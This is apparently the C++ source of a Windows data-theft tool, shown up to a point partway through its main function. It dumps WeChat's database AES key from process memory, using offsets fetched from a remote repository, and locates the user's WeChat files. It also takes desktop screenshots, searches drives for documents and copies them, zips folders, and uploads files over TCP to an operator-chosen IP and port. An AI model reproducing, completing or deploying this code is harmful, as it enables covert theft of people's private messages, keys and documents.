76 | // to a file (by name): UnzipItem(hz,i, ze.name);
77 | // to a memory block: UnzipItem(hz,i, buf,buflen);
78 | // In the final case, if the buffer isn't large enough to hold it all,
79 | // then the return code indicates that more is yet to come. If it was
80 | // large enough, and you want to know precisely how big, GetZipItem.
81 | // Note: zip files are normally stored with relative pathnames. If you
82 | // unzip with ZIP_FILENAME a relative pathname then the item gets created
83 | // relative to the current directory - it first ensures that all necessary
84 | // subdirectories have been created. Also, the item may itself be a directory.
85 | // If you unzip a directory with ZIP_FILENAME, then the directory gets created.
86 | // If you unzip it to a handle or a memory block, then nothing gets created
87 | // and it emits 0 bytes.
88 | ZRESULT SetUnzipBaseDir(HZIP hz, const TCHAR *dir);
89 | // if unzipping to a filename, and it's a relative filename, then it will be relative to here.
90 | // (defaults to current-directory).
91 |
92 |
93 | ZRESULT CloseZip(HZIP hz);
94 | // CloseZip - the zip handle must be closed with this function.
95 |
96 | unsigned int FormatZipMessage(ZRESULT code, TCHAR *buf,unsigned int len);
97 | // FormatZipMessage - given an error code, formats it as a string.
98 | // It returns the length of the error message. If buf/len points
99 | // to a real buffer, then it also writes as much as possible into there.
100 |
101 |
102 | // These are the result codes:
103 | #define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
104 | #define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
105 | // The following come from general system stuff (e.g. files not openable)
106 | #define ZR_GENMASK 0x0000FF00
107 | #define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
108 | #define ZR_NOFILE 0x00000200 // couldn't create/open the file
109 | #define ZR_NOALLOC 0x00000300 // failed to allocate some resource
110 | #define ZR_WRITE 0x00000400 // a general error writing to the file
111 | #define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
112 | #define ZR_MORE 0x00000600 // there's still more data to be unzipped
113 | #define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
114 | #define ZR_READ 0x00000800 // a general error reading the file
115 | #define ZR_PASSWORD 0x00001000 // we didn't get the right password to unzip the file
116 | // The following come from mistakes on the part of the caller
117 | #define ZR_CALLERMASK 0x00FF0000
118 | #define ZR_ARGS 0x00010000 // general mistake with the arguments
119 | #define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
120 | #define ZR_MEMSIZE 0x00030000 // the memory size is too small
121 | #define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
122 | #define ZR_ENDED 0x00050000 // the zip creation has already been closed
123 | #define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
124 | #define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
125 | #define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
126 | // The following come from bugs within the zip library itself
127 | #define ZR_BUGMASK 0xFF000000
128 | #define ZR_NOTINITED 0x01000000 // initialisation didn't work
129 | #define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
130 | #define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
131 | #define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
132 |
133 |
134 |
135 |
136 |
137 | // e.g.
138 | //
139 | // SetCurrentDirectory("c:\\docs\\stuff");
140 | // HZIP hz = OpenZip("c:\\stuff.zip",0);
141 | // ZIPENTRY ze; GetZipItem(hz,-1,&ze); int numitems=ze.index;
142 | // for (int i=0; i
2 | #include
3 | #include
4 | #include
5 | #include "zip.h"
6 | #include "unzip.h"
7 | #include
8 | #include
9 | #include
10 | #include // Needed to use the SHGetFolderPath function.
11 | #include
12 | //注意这个头文件
13 | #include
14 | #include
15 | #include
16 | #pragma comment(lib,"ws2_32.lib")
17 | #pragma comment(lib,"Winhttp.lib")
18 | #pragma comment(lib,"urlmon.lib")
19 | #pragma comment(lib, "netapi32.lib")
20 |
21 | #define GUID_LEN 64
22 | #define BUFSIZE 256
23 | char * fname;
24 | int counts = 0;
25 | using namespace std;
26 |
27 |
28 | void getFileNames(string path, vector& files);
29 |
30 |
31 | #define _CRT_SECURE_NO_WARNINGS
32 | #define _WINSOCK_DEPRECATED_NO_WARNINGS
33 | #define MAX_DATA_BLOCK_SIZE 409600
34 |
35 |
36 | void send_file(const char* file_name, const char* ip, u_short port) {
37 |
38 | WSADATA wsaData;
39 | SOCKET s;
40 | FILE *fp;
41 | struct sockaddr_in server_addr;
42 | char data[MAX_DATA_BLOCK_SIZE];
43 | int i;
44 | int ret;
45 | fp = fopen(file_name, "rb");
46 | if (fp == NULL) {
47 | //printf("无法打开文件\n");
48 | return;
49 | }
50 | WSAStartup(0x202, &wsaData);
51 | s = socket(AF_INET, SOCK_STREAM, 0);
52 | memset((void *)&server_addr, 0, sizeof(server_addr));
53 | server_addr.sin_family = AF_INET;
54 | server_addr.sin_addr.s_addr = inet_addr(ip);
55 | server_addr.sin_port = htons(port);
56 | if (connect(s, (struct sockaddr *)&server_addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR) {
57 | //printf("连接服务器失败\n");
58 | fclose(fp);
59 | closesocket(s);
60 | WSACleanup();
61 | return;
62 | }
63 |
64 | //printf("发送文件名。。。\n");
65 | send(s, file_name, strlen(file_name), 0);
66 | send(s, "\0", 1, 0);
67 |
68 | while (true)
69 | {
70 | memset((void *)data, 0, sizeof(data));
71 | i = fread(data, 1, sizeof(data), fp);
72 | if (i == 0) {
73 | printf("\nClient Upload Sucessful!\n");
74 | break;
75 | }
76 | ret = send(s, data, i, 0);
77 | putchar('.');
78 | if (ret == SOCKET_ERROR) {
79 | printf("\nerror\n");
80 | break;
81 | }
82 | }
83 | fclose(fp);
84 | closesocket(s);
85 | WSACleanup();
86 | }
87 |
88 |
89 | typedef struct _URL_INFO
90 | {
91 | WCHAR szScheme[512];
92 | WCHAR szHostName[512];
93 | WCHAR szUserName[512];
94 | WCHAR szPassword[512];
95 | WCHAR szUrlPath[512];
96 | WCHAR szExtraInfo[512];
97 | }URL_INFO, *PURL_INFO;
98 |
99 |
100 | std::wstring GetRightStr(const std::wstring& source, const wchar_t* subStr)
101 | {
102 | int index = source.find(subStr);
103 |
104 | std::wstring rightPart;
105 | if (index >= 0)
106 | {
107 | rightPart = source.substr(index + wcslen(subStr));
108 | }
109 | return rightPart;
110 | }
111 |
112 |
113 | std::string webhttp(const wchar_t *Url, DWORD*dwStatusCodeReturn = NULL)
114 | {
115 | URL_INFO url_info = { 0 };
116 | URL_COMPONENTSW lpUrlComponents = { 0 };
117 | lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
118 | lpUrlComponents.lpszExtraInfo = url_info.szExtraInfo;
119 | lpUrlComponents.lpszHostName = url_info.szHostName;
120 | lpUrlComponents.lpszPassword = url_info.szPassword;
121 | lpUrlComponents.lpszScheme = url_info.szScheme;
122 | lpUrlComponents.lpszUrlPath = url_info.szUrlPath;
123 | lpUrlComponents.lpszUserName = url_info.szUserName;
124 |
125 | lpUrlComponents.dwExtraInfoLength =
126 | lpUrlComponents.dwHostNameLength =
127 | lpUrlComponents.dwPasswordLength =
128 | lpUrlComponents.dwSchemeLength =
129 | lpUrlComponents.dwUrlPathLength =
130 | lpUrlComponents.dwUserNameLength = 512;
131 |
132 | WinHttpCrackUrl(Url, 0, ICU_ESCAPE, &lpUrlComponents);
133 |
134 | HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, NULL, NULL, 0);
135 | DWORD dwReadBytes = 0, dwSizeDW = sizeof(dwSizeDW), dwContentSize = 0, dwIndex = 0, dwStatusCode = 0;
136 |
137 | HINTERNET hConnect = WinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
138 |
139 | WCHAR fullUrlPath[5120] = { 0 };
140 |
141 | wcscpy_s(fullUrlPath, lpUrlComponents.lpszUrlPath);
142 |
143 | std::wstring rightPart = GetRightStr(Url, L"?");
144 | if (rightPart != L"")
145 | {
146 | wcscat_s(fullUrlPath, L"?");
147 | wcscat_s(fullUrlPath, rightPart.c_str());
148 | }
149 |
150 | // HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"HEAD", fullUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
151 | // WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
152 | // WinHttpReceiveResponse(hRequest, 0);
153 | // WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
154 | // WinHttpCloseHandle(hRequest);
155 |
156 | DWORD dwFlags = WINHTTP_FLAG_REFRESH;
157 | if (_T(Url, _T("https")))
158 | dwFlags |= WINHTTP_FLAG_SECURE;
159 | HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", fullUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags);
160 | WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
161 | WinHttpReceiveResponse(hRequest, 0);
162 |
163 | dwSizeDW = sizeof(dwContentSize);
164 | WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
165 |
166 | dwSizeDW = sizeof(dwStatusCode);
167 | WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwSizeDW, NULL);
168 | if (dwStatusCodeReturn)
169 | *dwStatusCodeReturn = dwStatusCode;
170 | BYTE *pBuffer = NULL;
171 | pBuffer = new BYTE[dwContentSize + 1];
172 | ZeroMemory(pBuffer, dwContentSize + 1);
173 |
174 | if (dwContentSize > 0)
175 | {
176 | do {
177 | WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);
178 | } while (dwReadBytes == 0);
179 | }
180 |
181 | //std::cout << pBuffer << endl;
182 | // delete pBuffer;
183 | WinHttpCloseHandle(hRequest);
184 | WinHttpCloseHandle(hConnect);
185 | WinHttpCloseHandle(hSession);
186 |
187 | std::string resultStr((char*)pBuffer);
188 |
189 | if (pBuffer)
190 | {
191 | delete[]pBuffer;
192 | }
193 |
194 | return resultStr;
195 |
196 |
197 | }
198 |
199 |
200 | void Replace(std::string& str, const char* to_replaced, const char* newchars)
201 | {
202 | int sourceLen = strlen(to_replaced);
203 | int targetLen = strlen(newchars);
204 | for (std::string::size_type pos(0); pos != std::string::npos; pos += targetLen)
205 | {
206 | pos = str.find(to_replaced, pos);
207 | if (pos != std::string::npos)
208 | str.replace(pos, sourceLen, newchars);
209 | else
210 | break;
211 | }
212 | }
213 |
214 | std::wstring Ansi2Unicode(const CHAR* orgStr)
215 | {
216 | if (!orgStr)
217 | return NULL;
218 |
219 | int len = -1;
220 | int currentPageCode = CP_ACP;
221 | len = MultiByteToWideChar(CP_ACP, 0, orgStr, -1, NULL, 0);
222 |
223 | WCHAR * wszGBK = new WCHAR[len + 4];
224 | if (!wszGBK)
225 | return NULL;
226 | MultiByteToWideChar(CP_ACP, 0, orgStr, -1, wszGBK, len);
227 |
228 | std::wstring resultStr(wszGBK);
229 | delete[]wszGBK;
230 | return resultStr;
231 | }
232 |
233 | std::string Unicode2Ansi(const WCHAR* orgStr)
234 | {
235 | if (!orgStr)
236 | return NULL;
237 |
238 | int len = -1;
239 | int currentPageCode = CP_ACP;
240 | len = ::WideCharToMultiByte(CP_ACP, 0, orgStr, -1, NULL, 0, NULL, NULL);
241 |
242 | CHAR * wszGBK = new CHAR[len + 4];
243 | if (!wszGBK)
244 | return NULL;
245 | ::WideCharToMultiByte(CP_ACP, 0, orgStr, -1, wszGBK, len, NULL, NULL);
246 |
247 | std::string resultStr(wszGBK);
248 | delete[]wszGBK;
249 | return resultStr;
250 | }
251 |
252 |
253 | #include
254 | #pragma comment(lib, "version.lib")
255 | // #include //EnumProcessModules
256 | // #pragma comment(lib, "psapi.lib")
257 | DWORD GetProcessID(LPCTSTR pName)
258 | {
259 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
260 | if (INVALID_HANDLE_VALUE == hSnapshot)
261 | return NULL;
262 | PROCESSENTRY32 pe = { sizeof(pe) };
263 | BOOL fOk;
264 | for (fOk = Process32First(hSnapshot, &pe); fOk; fOk = Process32Next(hSnapshot, &pe))
265 | {
266 | if (!_tcsicmp(pe.szExeFile, pName))
267 | {
268 | CloseHandle(hSnapshot);
269 | return pe.th32ProcessID;
270 | }
271 | }
272 | CloseHandle(hSnapshot);
273 | return NULL;
274 | }
275 |
276 | CString GetFileVersionInfo(LPCTSTR exePath)
277 | {
278 | CString fileDescription;
279 | CString productVersion;
280 | DWORD dwHandle = 0;
281 | DWORD dwInfoSize = GetFileVersionInfoSize(exePath, &dwHandle);
282 |
283 | if (dwInfoSize <= 0)
284 | return _T("");
285 |
286 | void *pvInfo = malloc(dwInfoSize);
287 | if (!pvInfo)
288 | return _T("");
289 |
290 | if (::GetFileVersionInfo(exePath, 0, dwInfoSize, pvInfo))
291 | {
292 | struct LANGANDCODEPAGE {
293 | WORD wLanguage;
294 | WORD wCodePage;
295 | } *lpTranslate;
296 |
297 | UINT cbTranslate = 0;
298 | if (VerQueryValue(pvInfo, _T("\\VarFileInfo\\Translation"), (void**)&lpTranslate, &cbTranslate)) {
299 | // ONLY Read the file description for FIRST language and code page.
300 | if ((cbTranslate / sizeof(struct LANGANDCODEPAGE)) > 0) {
301 | const TCHAR *lpBuffer = 0;
302 | UINT cbSizeBuf = 0;
303 | TCHAR szSubBlock[50] = { 0 };
304 |
305 | // Retrieve file description for language and code page 0
306 |
307 | #if (_MSC_VER<=1200)
308 | _stprintf(szSubBlock, _T("\\StringFileInfo\\%04x%04x//FileDescription"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
309 | #else
310 | _stprintf_s(szSubBlock, _T("\\StringFileInfo\\%04x%04x//FileDescription"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
311 | #endif
312 | if (VerQueryValue(pvInfo, szSubBlock, (void**)&lpBuffer, &cbSizeBuf)) {
313 | fileDescription = lpBuffer;
314 | }
315 |
316 | // Retrieve file version for language and code page 0
317 | #if (_MSC_VER<=1200)
318 | _stprintf(szSubBlock, _T("\\StringFileInfo\\%04x%04x\\FileVersion"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
319 | #else
320 | _stprintf_s(szSubBlock, _T("\\StringFileInfo\\%04x%04x\\FileVersion"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
321 | #endif
322 | if (VerQueryValue(pvInfo, szSubBlock, (void**)&lpBuffer, &cbSizeBuf)) {
323 | //warning4996: strncpy(lpoutProductVersion, lpBuffer, cbVerSize-1);
324 | productVersion = lpBuffer;
325 | }
326 | // Retrieve others for language and code page 0 if you like
327 | // ...
328 | }
329 | }
330 | }
331 |
332 | free(pvInfo);
333 |
334 | return productVersion;
335 | }
336 |
337 | BYTE* GetBaseAddr(BYTE* wdBaseAddr, LPCTSTR version)
338 | {
339 | std::string resultStr = webhttp((L"https://jihulab.com/bluesky1/padding/-/raw/main/README.md"));
340 | if (resultStr == "")
341 | {
342 | std::cout << "info download error" << std::endl;
343 | return NULL;
344 | }
345 |
346 | std::string versionStr = Unicode2Ansi(CA2W(version));
347 | Replace(resultStr, " ", "");
348 | Replace(resultStr, "\t", "");
349 |
350 | int offsetAddr = 0;
351 | char targetVersion[256] = { 0 };
352 | sprintf_s(targetVersion, "\"%s\"", versionStr.c_str());
353 | const char* ptr = strstr(resultStr.c_str(), targetVersion);
354 | if (!ptr)
355 | {
356 | std::cout << "[-] This Version Not Support1." << std::endl;
357 | return NULL;
358 | }
359 | ptr = strstr(ptr, "\"addr\":\"");
360 | if (!ptr)
361 | {
362 | std::cout << "[-] This Version Not Support2." << std::endl;
363 | return NULL;
364 | }
365 |
366 | ptr += strlen("\"addr\":\"");
367 |
368 | sscanf_s(ptr, "%x", &offsetAddr);
369 |
370 | //std::cout << std::hex << offsetAddr << std::endl;
371 |
372 | return wdBaseAddr + offsetAddr;
373 | }
374 |
375 | #include
376 | void DumpKey(int pid, MODULEENTRY32 ModEntry, LPCTSTR version, BYTE* wdBaseAddr)
377 | {
378 | BYTE* keyBase = GetBaseAddr(wdBaseAddr, version);
379 | unsigned char wxname[100] = { 0 };
380 |
381 |
382 | HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
383 | SIZE_T readLen = 0;
384 | DWORD Pointer = 0;
385 | if (!::ReadProcessMemory(hProcess, keyBase, &Pointer, sizeof(Pointer), &readLen))
386 | {
387 | std::cout << "[-] Error code1:" << ::GetLastError() << std::endl;
388 | return;
389 | }
390 | byte keyBuf[32] = { 0 };
391 | if (!::ReadProcessMemory(hProcess, (LPCVOID)Pointer, keyBuf, sizeof(keyBuf), &readLen))
392 | {
393 | std::cout << "[-] Error code2:" << ::GetLastError() << std::endl;
394 | return;
395 | }
396 | //DWORD wxAddr = (DWORD)wdBaseAddr + 37895736;
397 | //printf("wxAddr = %x\n", wxAddr);
398 | //ReadProcessMemory(hProcess, (LPCVOID)wxAddr, wxname, 100, NULL);
399 | //printf("%s\n", wxname);
400 | std::string printStr, outputStr;
401 | for (int ki = 0; ki < sizeof(keyBuf); ki++)
402 | {
403 | char buf[256] = { 0 };
404 | sprintf_s(buf, "%02X", keyBuf[ki]);
405 | printStr += buf;
406 |
407 | if (ki > 0)
408 | sprintf_s(buf, ",0x%02X", keyBuf[ki]);
409 | else
410 | sprintf_s(buf, "0x%02X", keyBuf[ki]);
411 | outputStr += buf;
412 | }
413 | std::cout << "[+] Dump AES Key Success:" << printStr << std::endl;
414 |
415 | std::ofstream outFile;//实例化ofstream类,创建outFile对象,outFile是对象名字,可以随便取,以后的操作就是对outFile对象进行的
416 | outFile.open("DBPass.Bin");//调用outFile对象中的open函数,作用是将outFile对象与文件进行关联,参数是文件名,如果filename.txt不存在,则自动创建一个叫filename.txt的文件并与其关联。注:open()函数的参数可以是字符串也可是字符数组(如:char name[];outFile.open(name))
417 | //警告:如果打开一个已存在的文件,这个文件里现存的所有内容都会丢失!!!
418 | outFile << outputStr;//向文件进行写入,因为cout其实也是ofstream类的一个对象,所以凡是能用于cout的也一样可以用于outFile,两者用法类似
419 | outFile.close();
420 | }
421 |
422 | void OpenWechatProc(DWORD processID)
423 | {
424 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, processID);
425 | if (hSnapshot == INVALID_HANDLE_VALUE)
426 | return;
427 |
428 | MODULEENTRY32 me = { sizeof(me) };
429 | CString result;
430 | for (BOOL bOk = Module32First(hSnapshot, &me); bOk; bOk = Module32Next(hSnapshot, &me))
431 | {
432 | if (!_tcsicmp(me.szModule, _T("WeChatWin.dll")))
433 | {
434 | CString dllVersion = GetFileVersionInfo(me.szExePath);
435 | std::cout << "[*] WeChatWin Version:" << dllVersion << std::endl;
436 | DumpKey(processID, me, dllVersion, me.modBaseAddr);
437 | break;
438 | }
439 | }
440 | ::CloseHandle(hSnapshot);
441 | }
442 |
443 |
444 |
445 |
446 |
447 |
448 | void getPath(char *dbpath)
449 | {
450 | char cmd_command[256] = { 0 };
451 | char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
452 | HKEY hKey;
453 | DWORD dwType = REG_BINARY;
454 | REGSAM mode = KEY_READ;
455 | DWORD length = 256;
456 | int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);
457 |
458 | ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, (LPBYTE)dbpath, &length);
459 | strcat(dbpath, "\\WeChat Files");
460 | cout << "Please send back after human judgment!!!\n" << dbpath << endl;
461 |
462 | if (ret == 0) {
463 | RegCloseKey(hKey);
464 | }
465 | else {
466 | printf("failed to open regedit.%d\n", ret);
467 | }
468 | }
469 |
470 |
471 |
472 | BOOL PaintMouse(HDC hdc)
473 | {
474 | HDC bufdc = NULL;
475 | CURSORINFO cursorInfo = { 0 };
476 | ICONINFO iconInfo = { 0 };
477 | HBITMAP bmpOldMask = NULL;
478 |
479 | bufdc = CreateCompatibleDC(hdc);
480 | RtlZeroMemory(&iconInfo, sizeof(cursorInfo));
481 | cursorInfo.cbSize = sizeof(cursorInfo);
482 |
483 | GetCursorInfo(&cursorInfo);
484 |
485 | GetIconInfo(cursorInfo.hCursor, &iconInfo);
486 |
487 | bmpOldMask = (HBITMAP)SelectObject(bufdc, iconInfo.hbmMask);
488 | BitBlt(hdc, cursorInfo.ptScreenPos.x, cursorInfo.ptScreenPos.y, 20, 20, bufdc, 0, 0, SRCAND);
489 | SelectObject(bufdc, iconInfo.hbmColor);
490 | BitBlt(hdc, cursorInfo.ptScreenPos.x, cursorInfo.ptScreenPos.y, 20, 20, bufdc, 0, 0, SRCPAINT);
491 |
492 | SelectObject(bufdc, bmpOldMask);
493 | DeleteObject(iconInfo.hbmColor);
494 | DeleteObject(iconInfo.hbmMask);
495 | DeleteDC(bufdc);
496 | return TRUE;
497 | }
498 |
499 | BOOL SaveBmp(HBITMAP hBmp, LPCTSTR imageName)
500 | {
501 | //LPCTSTR imageName = "weixin.png";
502 | ATL::CImage image;
503 | image.Attach(hBmp);
504 | image.Save(imageName);
505 | return TRUE;
506 | }
507 |
508 |
509 |
510 | char *randstr(char *str, const int len)
511 | {
512 | srand(time(NULL));
513 | int i;
514 | for (i = 0; i < len; ++i)
515 | {
516 | switch ((rand() % 3))
517 | {
518 | case 1:
519 | str[i] = 'A' + rand() % 26;
520 | break;
521 | case 2:
522 | str[i] = 'a' + rand() % 26;
523 | break;
524 | default:
525 | str[i] = '0' + rand() % 10;
526 | break;
527 | }
528 | }
529 | str[i] = '\0';
530 | return str;
531 | }
532 |
533 |
534 |
535 | BOOL ScreenCapture(LPCTSTR imageName)
536 | {
537 | HWND hDesktopWnd = GetDesktopWindow();
538 | HDC hdc = GetDC(hDesktopWnd);
539 | HDC mdc = CreateCompatibleDC(hdc);
540 | DWORD dwScreenWidth = GetSystemMetrics(SM_CXSCREEN);
541 | DWORD dwScreenHeight = GetSystemMetrics(SM_CYSCREEN);
542 | HBITMAP bmp = CreateCompatibleBitmap(hdc, dwScreenWidth, dwScreenHeight);
543 | HBITMAP holdbmp = (HBITMAP)SelectObject(mdc, bmp);
544 | BitBlt(mdc, 0, 0, dwScreenWidth, dwScreenHeight, hdc, 0, 0, SRCCOPY);
545 | PaintMouse(mdc);
546 | SaveBmp(bmp, imageName);
547 | DeleteDC(hdc);
548 | DeleteDC(mdc);
549 | return TRUE;
550 |
551 |
552 | }
553 |
554 |
555 |
556 | static ZRESULT DirToZip(HZIP& hz, LPCTSTR lpszSrcPath, int nBasePos)
557 | {
558 | DWORD zResult = ZR_OK;
559 |
560 | WIN32_FIND_DATA fileData;
561 | TCHAR szFile[MAX_PATH] = { 0 };
562 | int nStart = _tcslen(lpszSrcPath);
563 | _tcscpy(szFile, lpszSrcPath);
564 | if (nStart&&_T('\\') != lpszSrcPath[nStart - 1]) {
565 | if (nBasePos == nStart) nBasePos++;
566 | szFile[nStart++] = _T('\\');
567 | }
568 | _tcscpy(szFile + nStart, _T("*"));
569 | HANDLE file = FindFirstFile(szFile, &fileData);
570 | while (FindNextFile(file, &fileData))
571 | {
572 | if (fileData.cFileName[0] == _T('.'))
573 | continue;
574 | _tcscpy(szFile + nStart, fileData.cFileName);
575 | // 如果是一个文件目录
576 | if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
577 | {
578 | ZipAddFolder(hz, szFile + nBasePos);
579 | // 存在子文件夹 递归调用
580 | DirToZip(hz, szFile, nBasePos);
581 | }
582 | else
583 | {
584 | zResult = ZipAdd(hz, szFile + nBasePos, szFile);
585 | // if (zResult != ZR_OK) return zResult;
586 | }
587 | }
588 | return zResult;
589 | }
590 |
591 |
592 |
593 | void OneFile(char* pfilename, char* pfilter)
594 | {
595 | WIN32_FIND_DATA findfiledate;
596 | HANDLE hfind;
597 | char filename[512];
598 | char lpFileName[512];
599 | char _lpFileName[512];
600 | int i;
601 | for (i = 0; *(pfilename + i) != '\0'; i++)
602 | filename[i] = *(pfilename + i);
603 | filename[i] = '\0';
604 | //如果最后一字符不是'\'
605 | if (filename[strlen(filename) - 1] != '\\')
606 | strcat(filename, "\\"); //添加'\'
607 | strcpy(lpFileName, filename);
608 | strcat(lpFileName, pfilter);
609 | hfind = FindFirstFile(lpFileName, &findfiledate);
610 | if (hfind == INVALID_HANDLE_VALUE)
611 | return;
612 | do
613 | {
614 | if (!(findfiledate.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY))
615 | {
616 | //如果找到指定文件
617 | //if (strstr(findfiledate.cFileName, fname))
618 | //printf("%s", fname);
619 | if (strstr(findfiledate.cFileName, fname))
620 | {
621 |
622 | printf("%s%s\n", filename, findfiledate.cFileName);
623 | counts++;
624 | }
625 | }
626 | else
627 | {
628 | if (findfiledate.cFileName[0] != '.')
629 | {
630 | strcpy(_lpFileName, filename);
631 | strcat(_lpFileName, (const char*)findfiledate.cFileName);
632 | OneFile(_lpFileName, pfilter);
633 | }
634 | }
635 | } while (FindNextFile(hfind, &findfiledate));
636 | FindClose(hfind);
637 |
638 | }
639 |
640 | void FindFile(char* pfilename, char* pfilter, char* fname, char* tempdir)
641 | {
642 |
643 | WIN32_FIND_DATA findfiledate;
644 | HANDLE hfind;
645 | char filename[1000];
646 | char lpFileName[1000];
647 | char _lpFileName[1000];
648 |
649 |
650 | char source[1000];
651 | char target[1000];
652 |
653 | int i;
654 | for (i = 0; *(pfilename + i) != '\0'; i++)
655 | filename[i] = *(pfilename + i);
656 | filename[i] = '\0';
657 | //如果最后一字符不是'\'
658 | if (filename[strlen(filename) - 1] != '\\')
659 | strcat(filename, "\\"); //添加'\'
660 | strcpy(lpFileName, filename);
661 | strcat(lpFileName, pfilter);
662 | hfind = FindFirstFile(lpFileName, &findfiledate);
663 | string res;
664 | if (hfind == INVALID_HANDLE_VALUE)
665 | return;
666 | do
667 | {
668 | if (!(findfiledate.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY))
669 | {
670 | //如果找到指定文件
671 |
672 | // if (strcmp(findfiledate.cFileName, fname) == 0)
673 |
674 | if (strstr(findfiledate.cFileName, fname))
675 | {
676 | //printf("%s%s\n", findfiledate.cFileName, fname);
677 | res = findfiledate.cFileName;
678 | res = res.substr(res.find_last_of('.') + 1);//获取文件后缀
679 | if (res.data() == fname)
680 | printf("%s\n", res.c_str());
681 | lstrcpy(source, filename);
682 | lstrcpy(target, tempdir);
683 | lstrcat(source, "\\*.*");
684 | lstrcat(target, "\\");
685 |
686 |
687 | memset(source, '0', sizeof(source));
688 | lstrcpy(source, filename);
689 | lstrcat(source, "\\");
690 | lstrcat(source, findfiledate.cFileName);
691 | lstrcat(target, findfiledate.cFileName);
692 | CopyFile(source, target, TRUE);//直接调用文件复制函数
693 | // count++;
694 | }
695 | }
696 | else
697 | {
698 | if (findfiledate.cFileName[0] != '.')
699 | {
700 | strcpy(_lpFileName, filename);
701 | strcat(_lpFileName, (const char*)findfiledate.cFileName);
702 | FindFile(_lpFileName, pfilter, fname, tempdir);
703 | }
704 | }
705 | } while (FindNextFile(hfind, &findfiledate));
706 | FindClose(hfind);
707 |
708 | }
709 |
710 |
711 |
712 |
713 |
714 |
715 |
716 |
717 | int main(int argc, char* argv[])
718 | {
719 |
720 | string passwd = argv[argc - 1];
721 | //printf(passwd.c_str());
722 |
723 | //if (strcmp(passwd.c_str(), "x") != 0) {
724 | /// exit(0);
725 | //}
726 |
727 |
728 | if (argc < 2) {
729 | return -1;
730 | }
731 |
732 |
733 |
734 | if (strcmp(argv[1], "-h") == 0) {
735 | printf("[+] %s dumpkey \n", argv[0]);
736 | printf("[+] %s photo 127.0.0.1 8888 \n", argv[0]);
737 | printf("[+] %s search d:\\ .docx \n", argv[0]);
738 | printf("[+] %s send 127.0.0.1 8888 \n", argv[0]);
739 | printf("[+] %s send 127.0.0.1 8888 vxpath\n", argv[0]);
740 | printf("[+] %s upload path 127.0.0.1 8888 \n", argv[0]);
741 | printf("[+] %s uploads path 127.0.0.1 8888 \n", argv[0]);
742 | printf("[+] %s all 127.0.0.1 8888 \n", argv[0]);
743 | printf("[+] %s user 127.0.0.1 8888 \n", argv[0]);
744 | return -1;
745 | }
746 |
747 | const char* filetype[] = { ".doc",".xls", ".pdf" ,".docx",".xlsx",".txt",".bat",".ppt",".pptx" };
748 | //const char* filetype[] = { ".bat" };
749 | int length = size(filetype); //
750 | char value[256] = { 0 };
751 | vector fileNames;
752 |
753 | static TCHAR tempzip[MAX_PATH];
754 |
755 |
756 | WORD wVersionRequested = MAKEWORD(2, 0); // 套接字版本
757 | WSADATA data;
758 | int nRes = ::WSAStartup(wVersionRequested, &data);
759 |
760 |
761 | char HostName[128];
762 | gethostname(HostName, sizeof(HostName));// 获得本机主机名.
763 | hostent* hn;
764 | hn = gethostbyname(HostName);//根据本机主机名得到本机ip
765 | char *chIP = inet_ntoa(*(struct in_addr *)hn->h_addr_list[0]);//把ip换成字符串形式
766 | ::WSACleanup();
767 |
768 |
769 | if (strcmp(argv[1], "search") == 0)
770 | {
771 |
772 | char szLogicalDriveStrings[BUFSIZE];
773 | DWORD iLength;
774 | int iSub;
775 |
776 |
